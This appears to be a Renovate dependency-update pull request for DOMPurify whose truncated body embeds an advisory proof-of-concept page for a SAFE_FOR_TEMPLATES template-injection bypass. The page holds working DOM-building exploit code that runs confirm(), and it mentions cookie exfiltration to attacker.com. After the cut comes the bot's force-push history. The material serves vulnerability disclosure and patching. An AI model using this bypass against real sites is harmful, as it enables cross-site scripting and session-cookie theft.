<!DOCTYPE html><htmllang="en"><head><metacharset="UTF-8" /><title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title><scriptsrc="dist/purify.js"></script><style>* { box-sizing: border-box; margin:0; padding:0; }
body {
font-family:'Segoe UI', system-ui, sans-serif;
background:#&#8203;0d1117;
color:#e6edf3;
padding: 32px;
}
h1 { font-size:1.4rem; color:#f85149; margin-bottom:6px; }
.subtitle { color:#&#8203;8b949e; font-size: 0.9rem; margin-bottom: 32px; }
.card {
background:#&#8203;161b22;
border: 1px solid #&#8203;30363d;
border-radius: 8px;
margin-bottom: 24px;
overflow: hidden;
}
.card-header {
display: flex;
align-items: center;
gap:10px;
padding:14px20px;
border-bottom:1px solid #&#8203;30363d;
background:#&#8203;1c2128;
}
.badge {
font-size:0.72rem;
font-weight:700;
padding:2px8px;
border-radius:4px;
text-transform: uppercase;
letter-spacing:0.05em;
}
.badge-run { background:#&#8203;1f6feb; color:#fff; }
.badge-pass { background:#&#8203;238636; color:#fff; }
.badge-fail { background:#da3633; color:#fff; }
.badge-warn { background:#&#8203;9e6a03; color:#fff; }
.card-title { font-size:0.95rem; font-weight:600; }
.card-body { padding:20px; }
label { font-size:0.78rem; color:#&#8203;8b949e; display: block; margin-bottom: 6px; }
pre {
background:#&#8203;0d1117;
border: 1px solid #&#8203;30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.82rem;
line-height: 1.6;
overflow-x: auto;
margin-bottom: 14px;
white-space: pre-wrap;
word-break: break-all;
}
pre.result { border-color:#&#8203;238636; background:#&#8203;0a1a0f; }
pre.escaped { border-color:#da3633; background:#&#8203;1a0a0a; }
pre.highlight { border-color:#f85149; color:#f85149; font-weight: bold; }
.grid { display: grid; grid-template-columns:1fr1fr; gap:14px; }
@media (max-width:700px) { .grid { grid-template-columns:1fr; } }
.arrow {
text-align: center;
font-size:1.4rem;
color:#&#8203;8b949e;
margin: 4px 0;
}
.xss-banner {
display: none;
background:#da3633;
color:#fff;
text-align: center;
padding:16px;
font-size:1.1rem;
font-weight:700;
border-radius:6px;
margin-bottom:24px;
letter-spacing:0.03em;
}
button {
background:#&#8203;238636;
color:#fff;
border: none;
padding: 10px 22px;
border-radius: 6px;
font-size: 0.9rem;
font-weight: 600;
cursor: pointer;
margin-right: 10px;
margin-bottom: 8px;
}
button:hover { background:#&#8203;2ea043; }
button.danger { background:#da3633; }
button.danger:hover { background:#f85149; }
.note {
background:#&#8203;161b22;
border-left: 3px solid #&#8203;9e6a03;
padding: 12px 16px;
font-size: 0.82rem;
color:#e3b341;
border-radius: 0 6px 6px 0;
margin-top: 14px;
}
#log {
background:#&#8203;0d1117;
border: 1px solid #&#8203;30363d;
border-radius: 6px;
padding: 14px;
font-size: 0.8rem;
font-family: monospace;
min-height: 60px;
max-height: 300px;
overflow-y: auto;
line-height: 1.8;
}
.log-ok { color:#&#8203;3fb950; }
.log-fail { color:#f85149; }
.log-info { color:#&#8203;8b949e; }
.log-warn { color:#e3b341; }
</style></head><body><h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1><pclass="subtitle">
CVE candidate · Template expression injection via &lt;template&gt; content ·
Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code></p><divid="xss-banner" class="xss-banner">
⚠️ XSS CONFIRMED - Expression executed in this page's context
</div><!-- ── Controls ─────────────────────────────────────────── --><divclass="card"><divclass="card-header"><spanclass="badge badge-run">Controls</span><spanclass="card-title">Run individual test cases</span></div><divclass="card-body"><buttononclick="runAll()">▶ Run all tests</button><buttononclick="runPoC1()">PoC 1 - alert()</button><buttononclick="runPoC2()">PoC 2 - cookie exfil</button><buttononclick="runPoC3()">PoC 3 - IN_PLACE</button><buttononclick="runControl()">Control - string output (should block)</button><divclass="note">
PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
doesn't need a dismiss click to continue. Watch the red banner at the top.
</div></div></div><!-- ── PoC 1 ─────────────────────────────────────────────── --><divclass="card" id="card-poc1"><divclass="card-header"><spanclass="badge badge-run" id="badge-poc1">PENDING</span><spanclass="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span></div><divclass="card-body"><divclass="grid"><div><label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label><preid="input-poc1"></pre></div><div><label>AFTER DOMPurify.sanitize() - what survived in template.content</label><preclass="result" id="nodes-poc1"></pre></div></div><divclass="arrow">↓ template.content.normalize() ↓</div><label>MERGED TEXT NODE - fully formed expression after normalization</label><preclass="highlight" id="merged-poc1"></pre><label>EXECUTION RESULT</label><preid="exec-poc1">Not run yet</pre></div></div><!-- ── PoC 2 ─────────────────────────────────────────────── --><divclass="card" id="card-poc2"><divclass="card-header"><spanclass="badge badge-run" id="badge-poc2">PENDING</span><spanclass="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span></div><divclass="card-body"><divclass="grid"><div><label>ATTACKER INPUT - exfil payload split across custom elements</label><preid="input-poc2"></pre></div><div><label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label><preclass="result" id="nodes-poc2"></pre></div></div><divclass="arrow">↓ template.content.normalize() ↓</div><label>MERGED EXPRESSION - what a template engine would evaluate</label><preclass="highlight" id="merged-poc2"></pre><label>SIMULATED EXECUTION (fetch URL that would be called)</label><preid="exec-poc2">Not run yet</pre><divclass="note">
Real execution would redirect the victim to
<code>attacker.com</code> carrying the session cookie.
This PoC constructs the URL without actually sending it.
</div></div></div><!-- ── PoC 3 ─────────────────────────────────────────────── --><divclass="card" id="card-poc3"><divclass="card-header"><spanclass="badge badge-run" id="badge-poc3">PENDING</span><spanclass="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span></div><divclass="card-body"><divclass="grid"><div><label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label><preid="input-poc3"></pre></div><div><label>AFTER IN_PLACE sanitization - text nodes unchanged</label><preclass="result" id="nodes-poc3"></pre></div></div><divclass="arrow">↓ template.content.normalize() ↓</div><label>MERGED EXPRESSION</label><preclass="highlight" id="merged-poc3"></pre><label>EXECUTION RESULT</label><preid="exec-poc3">Not run yet</pre></div></div><!-- ── Control ───────────────────────────────────────────── --><divclass="card" id="card-ctrl"><divclass="card-header"><spanclass="badge badge-run" id="badge-ctrl">PENDING</span><spanclass="card-title">Control - string output (default) MUST block the payload</span></div><divclass="card-body"><label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label><preid="input-ctrl"></pre><divclass="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div><label>OUTPUT STRING - expression should be stripped</label><preid="output-ctrl">Not run yet</pre><divclass="note">
The string output path is NOT vulnerable because
<code>body.innerHTML</code> serialises the template content into a
flat string where the full <code>${"{...}"}</code> expression is visible
and the final regex scrub catches it.
</div></div></div><!-- ── Log ───────────────────────────────────────────────── --><divclass="card"><divclass="card-header"><spanclass="badge badge-run">Log</span><spanclass="card-title">Test output</span></div><divclass="card-body"><divid="log"></div></div></div><script>
// ── Helpers ────────────────────────────────────────────────────────────────
let xssConfirmed = false;
function log(msg, type = 'info') {
const el = document.getElementById('log');
const line = document.createElement('div');
line.className = 'log-' + type;
line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
el.appendChild(line);
el.scrollTop = el.scrollHeight;
}
function setBadge(id, status) {
const el = document.getElementById('badge-' + id);
el.textContent = status;
el.className = 'badge ' + {
PASS: 'badge-fail', // "PASS" here means the attack succeeded (bad for security)
BLOCK: 'badge-pass', // "BLOCK" means DOMPurify correctly blocked it
PENDING: 'badge-run',
ERROR: 'badge-warn',
}[status];
}
function markXSS(poc) {
if (!xssConfirmed) {
xssConfirmed = true;
document.getElementById('xss-banner').style.display = 'block';
}
log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}
// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────
function runPoC1() {
log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');
// IMPORTANT:
// Build a REAL template DOM node with split TEXT nodes.
// HTML parsing would merge adjacent text automatically,
// so we construct the DOM programmatically.
const container = document.createElement('div');
const tmpl = document.createElement('template');
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(
document.createTextNode(
'{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
)
);
container.appendChild(tmpl);
document.getElementById('input-poc1').textContent =
'template.content.childNodes[0].data = "$"\\n' +
'template.content.childNodes[1].data = "{confirm(...)}"';
// Sanitize the DOM node itself
const sanitized = DOMPurify.sanitize(container, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmplAfter = sanitized.querySelector('template');
if (!tmplAfter) {
document.getElementById('exec-poc1').textContent =
'Template element removed during sanitization';
setBadge('poc1', 'ERROR');
return;
}
const nodesBefore = [...tmplAfter.content.childNodes].map(
n => JSON.stringify(n.nodeValue)
);
document.getElementById('nodes-poc1').textContent =
'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
'→ Neither fragment matched individually.';
log(
'PoC 1: Text nodes after sanitization: ' +
nodesBefore.join(', '),
'warn'
);
// Me
> ✂ **Note**
> > PR body was truncated to here.

@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch 11 times, most recently from a7ca3db to 0c0fdfdCompareMarch 25, 2026 12:56
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch 4 times, most recently from 19c2d69 to 63de9f2CompareMarch 26, 2026 19:05
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.3.2 [security]chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
@renovate
renovateBot deleted the renovate/npm-dompurify-vulnerability branch March 27, 2026 02:42
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosedchore(deps): update dependency dompurify to v3.3.2 [security]Mar 28, 2026
@renovaterenovateBot reopened this Mar 28, 2026
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch 2 times, most recently from 63de9f2 to 9494541CompareMarch 28, 2026 14:12
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.3.2 [security]chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosedMar 29, 2026
@renovaterenovateBot closed this Mar 29, 2026
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.3.2 [security] - autoclosedchore(deps): update dependency dompurify to v3.3.2 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch 2 times, most recently from 9494541 to fddc3e2CompareMarch 30, 2026 18:58
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch from fddc3e2 to a8984d0CompareApril 6, 2026 21:59
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch 3 times, most recently from 3d1207b to acf4ccaCompareApril 16, 2026 13:50
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.3.2 [security]chore(deps): update dependency dompurify to v3.4.0 [security]Apr 16, 2026
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch from acf4cca to c03ab4dCompareApril 16, 2026 21:00
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.4.0 [security]chore(deps): update dependency dompurify to v3.4.0 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.4.0 [security] - autoclosedchore(deps): update dependency dompurify to v3.4.0 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch 4 times, most recently from ecc692e to d6c66bcCompareApril 29, 2026 20:19
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch 2 times, most recently from 402fd34 to 55ad238CompareJune 4, 2026 15:37
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch 4 times, most recently from a77acd9 to 78bb0ddCompareJune 11, 2026 13:45
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch from 78bb0dd to f658cf0CompareJune 17, 2026 03:59
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.4.0 [security]chore(deps): update dependency dompurify to v3.4.8 [security]Jun 17, 2026
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch from f658cf0 to ba68362CompareJune 17, 2026 21:09
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.4.8 [security]chore(deps): update dependency dompurify to v3.4.9 [security]Jun 17, 2026
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch from ba68362 to 286a5a0CompareJune 18, 2026 16:48
@renovaterenovateBot changed the title chore(deps): update dependency dompurify to v3.4.9 [security]chore(deps): update dependency dompurify to v3.4.11 [security]Jun 18, 2026
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch from 286a5a0 to 49c8801CompareJune 19, 2026 16:50
@renovate
renovateBotforce-pushed the renovate/npm-dompurify-vulnerability branch 3 times, most recently from fe6c36e to c170ee5CompareJuly 9, 2026 16:01
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants